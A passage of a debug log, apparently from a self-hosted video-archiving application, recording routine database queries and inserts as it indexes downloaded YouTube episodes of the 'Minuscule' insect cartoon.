m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:13:09.054 [debug] QUERY OK source="media_items" db=0.6ms idle=6.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89087] 22:13:09.054 [debug] Current batch of media processed. Will check again in 1000ms 22:13:10.055 [debug] Current batch of media processed. Will check again in 1000ms 22:13:11.056 [debug] Current batch of media processed. Will check again in 1000ms 22:13:12.057 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA small black spider does its best to imitate another spider in web building.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 130, "filename" => "/downloads/Miniscule Season 2/2020-05-14 Minuscule - Blunder ⧸ La boulette (Season 2)/Minuscule - Blunder ⧸ La boulette (Season 2) [78uO6wF20Ig].mp4", "id" => "78uO6wF20Ig", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=78uO6wF20Ig", "playlist_index" => 95, "timestamp" => 1589466600, "title" => "Minuscule - Blunder / La boulette (Season 2)", "upload_date" => "20200514"} 22:13:12.058 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1886.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:13:12.059 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1887.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:12.060 [debug] QUERY OK source="media_items" db=1.1ms idle=1888.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-05-14 14:30:00Z], 5] 22:13:12.064 [debug] QUERY OK source="media_items" db=2.2ms idle=1766.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA small black spider does its best to imitate another spider in web building.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Blunder / La boulette (Season 2)", "a9e6e0bd-a716-4355-bec9-32bf1ef79b80", "78uO6wF20Ig", 130, false, 5, "https://www.youtube.com/watch?v=78uO6wF20Ig", 95, "/downloads/Miniscule Season 2/2020-05-14 Minuscule - Blunder ⧸ La boulette (Season 2)/Minuscule - Blunder ⧸ La boulette (Season 2) [78uO6wF20Ig].mp4", false, false, false, [], 1, ~U[2020-05-14 14:30:00Z], ~U[2025-12-12 05:13:12Z], ~U[2025-12-12 05:13:12Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA small black spider does its best to imitate another spider in web building.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Blunder / La boulette (Season 2)", "78uO6wF20Ig", 130, false, 5, "https://www.youtube.com/watch?v=78uO6wF20Ig", "/downloads/Miniscule Season 2/2020-05-14 Minuscule - Blunder ⧸ La boulette (Season 2)/Minuscule - Blunder ⧸ La boulette (Season 2) [78uO6wF20Ig].mp4", false, ~U[2020-05-14 14:30:00Z]] 22:13:12.065 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=766.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:12.065 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:13:12.067 [debug] QUERY OK source="media_items" db=0.5ms idle=6.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89089] 22:13:12.067 [debug] Current batch of media processed. Will check again in 1000ms 22:13:13.068 [debug] Current batch of media processed. Will check again in 1000ms 22:13:14.069 [debug] Current batch of media processed. Will check again in 1000ms 22:13:15.070 [debug] Current batch of media processed. Will check again in 1000ms 22:13:16.071 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 119, "filename" => "/downloads/Miniscule Season 2/2020-05-07 Minuscule - A candlelight christmas ⧸ Noël aux chandelles (Season 2)/Minuscule - A candlelight christmas ⧸ Noël aux chandelles (Season 2) [Mntl56t9HyA].mp4", "id" => "Mntl56t9HyA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Mntl56t9HyA", "playlist_index" => 96, "timestamp" => 1588861803, "title" => "Minuscule - A candlelight christmas / Noël aux chandelles (Season 2)", "upload_date" => "20200507"} 22:13:16.072 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=900.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:13:16.073 [debug] QUERY OK source="sources" db=0.3ms idle=901.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:16.075 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=902.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-05-07 14:30:03Z], 5] 22:13:16.083 [debug] QUERY OK source="media_items" db=7.3ms idle=904.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - A candlelight christmas / Noël aux chandelles (Season 2)", "93d213ff-6870-414e-914d-bebb94476ffb", "Mntl56t9HyA", 119, false, 5, "https://www.youtube.com/watch?v=Mntl56t9HyA", 96, "/downloads/Miniscule Season 2/2020-05-07 Minuscule - A candlelight christmas ⧸ Noël aux chandelles (Season 2)/Minuscule - A candlelight christmas ⧸ Noël aux chandelles (Season 2) [Mntl56t9HyA].mp4", false, false, false, [], 1, ~U[2020-05-07 14:30:03Z], ~U[2025-12-12 05:13:16Z], ~U[2025-12-12 05:13:16Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - A candlelight christmas / Noël aux chandelles (Season 2)", "Mntl56t9HyA", 119, false, 5, "https://www.youtube.com/watch?v=Mntl56t9HyA", "/downloads/Miniscule Season 2/2020-05-07 Minuscule - A candlelight christmas ⧸ Noël aux chandelles (Season 2)/Minuscule - A candlelight christmas ⧸ Noël aux chandelles (Season 2) [Mntl56t9HyA].mp4", false, ~U[2020-05-07 14:30:03Z]] 22:13:16.084 [debug] QUERY OK source="sources" db=0.4ms idle=778.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:16.085 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=11.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:13:16.086 [debug] QUERY OK source="media_items" db=0.5ms idle=12.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89091] 22:13:16.086 [debug] Current batch of media processed. Will check again in 1000ms 22:13:17.087 [debug] Current batch of media processed. Will check again in 1000ms 22:13:18.088 [debug] Current batch of media processed. Will check again in 1000ms 22:13:18.842 [info] {"source":"oban","duration":1881,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:19.089 [debug] Current batch of media processed. Will check again in 1000ms 22:13:20.090 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA fly plays a magic trick on a spider, but is all what it seems?\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 119, "filename" => "/downloads/Miniscule Season 2/2020-04-30 Minuscule - The magic fly ⧸ La mouche magique (Season 2)/Minuscule - The magic fly ⧸ La mouche magique (Season 2) [qCnMPlECNGA].mp4", "id" => "qCnMPlECNGA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=qCnMPlECNGA", "playlist_index" => 97, "timestamp" => 1588257006, "title" => "Minuscule - The magic fly / La mouche magique (Season 2)", "upload_date" => "20200430"} 22:13:20.091 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1248.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:13:20.092 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=920.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:20.094 [debug] QUERY OK source="media_items" db=1.0ms idle=921.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-04-30 14:30:06Z], 5] 22:13:20.106 [debug] QUERY OK source="media_items" db=11.4ms idle=923.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA fly plays a magic trick on a spider, but is all what it seems?\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The magic fly / La mouche magique (Season 2)", "6a745bc2-e6b0-472d-ac2e-100b04cb3f01", "qCnMPlECNGA", 119, false, 5, "https://www.youtube.com/watch?v=qCnMPlECNGA", 97, "/downloads/Miniscule Season 2/2020-04-30 Minuscule - The magic fly ⧸ La mouche magique (Season 2)/Minuscule - The magic fly ⧸ La mouche magique (Season 2) [qCnMPlECNGA].mp4", false, false, false, [], 1, ~U[2020-04-30 14:30:06Z], ~U[2025-12-12 05:13:20Z], ~U[2025-12-12 05:13:20Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA fly plays a magic trick on a spider, but is all what it seems?\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The magic fly / La mouche magique (Season 2)", "qCnMPlECNGA", 119, false, 5, "https://www.youtube.com/watch?v=qCnMPlECNGA", "/downloads/Miniscule Season 2/2020-04-30 Minuscule - The magic fly ⧸ La mouche magique (Season 2)/Minuscule - The magic fly ⧸ La mouche magique (Season 2) [qCnMPlECNGA].mp4", false, ~U[2020-04-30 14:30:06Z]] 22:13:20.107 [debug] QUERY OK source="sources" db=0.4ms idle=793.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:20.108 [debug] QUERY OK source="media_profiles" db=0.4ms idle=16.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:13:20.109 [debug] QUERY OK source="media_items" db=0.5ms idle=16.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89093] 22:13:20.109 [debug] Current batch of media processed. Will check again in 1000ms 22:13:21.110 [debug] Current batch of media processed. Will check again in 1000ms 22:13:22.111 [debug] Current batch of media processed. Will check again in 1000ms 22:13:23.112 [debug] Current batch of media processed. Will check again in 1000ms 22:13:24.113 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nIn a garden, a mocking ladybird arrives to taunt a band of flies, and incites them to chase her in a crazy race.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 120, "filename" => "/downloads/Miniscule Season 2/2020-04-23 Minuscule - The cruel cow in the meadow ⧸ Histoire vache (Season 2)/Minuscule - The cruel cow in the meadow ⧸ Histoire vache (Season 2) [X8TfG9Ib4Aw].mp4", "id" => "X8TfG9Ib4Aw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=X8TfG9Ib4Aw", "playlist_index" => 98, "timestamp" => 1587652203, "title" => "Minuscule - The cruel cow in the meadow / Histoire vache (Season 2)", 